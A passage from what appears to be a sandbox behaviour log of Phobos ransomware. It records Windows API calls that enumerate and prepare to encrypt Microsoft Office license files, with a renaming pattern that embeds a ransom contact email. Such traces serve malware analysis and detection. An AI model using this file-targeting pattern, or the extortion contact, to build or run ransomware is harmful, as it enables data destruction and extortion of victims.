lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.576] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.576] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11219) returned 1 [0152.576] CloseHandle (hObject=0x580) returned 1 [0152.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0152.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.577] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.577] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23207) returned 1 [0152.577] CloseHandle (hObject=0x580) returned 1 [0152.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0152.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.578] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.578] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11674) returned 1 [0152.578] CloseHandle (hObject=0x580) returned 1 [0152.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0152.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.579] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.579] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23068) returned 1 [0152.580] CloseHandle (hObject=0x580) returned 1 [0152.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 0x220 [0152.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.580] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.581] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11624) returned 1 [0152.581] CloseHandle (hObject=0x580) returned 1 [0152.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.581] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.582] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11199) returned 1 [0152.582] CloseHandle (hObject=0x580) returned 1 [0152.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 0x220 [0152.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.582] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.582] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=26541) returned 1 [0152.583] CloseHandle (hObject=0x580) returned 1 [0152.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 0x220 [0152.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.583] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.583] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11651) returned 1 [0152.583] CloseHandle (hObject=0x580) returned 1 [0152.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0152.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.584] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.584] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11199) returned 1 [0152.584] CloseHandle (hObject=0x580) returned 1 [0152.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 0x220 [0152.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.585] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.586] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=26541) returned 1 [0152.586] CloseHandle (hObject=0x580) returned 1 [0152.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 0x220 [0152.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.586] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.587] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11651) returned 1 [0152.587] CloseHandle (hObject=0x580) returned 1 [0152.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0152.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.587] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.588] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11199) returned 1 [0152.588] CloseHandle (hObject=0x580) returned 1 [0152.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 0x220 [0152.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.589] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.589] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=26541) returned 1 [0152.589] CloseHandle (hObject=0x580) returned 1 [0152.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 0x220 [0152.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.590] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.590] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11651) returned 1 [0152.590] CloseHandle (hObject=0x580) returned 1 [0152.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 0x220 [0152.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.591] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.591] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11199) returned 1 [0152.591] CloseHandle (hObject=0x580) returned 1 [0152.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 0x220 [0152.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.724] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft 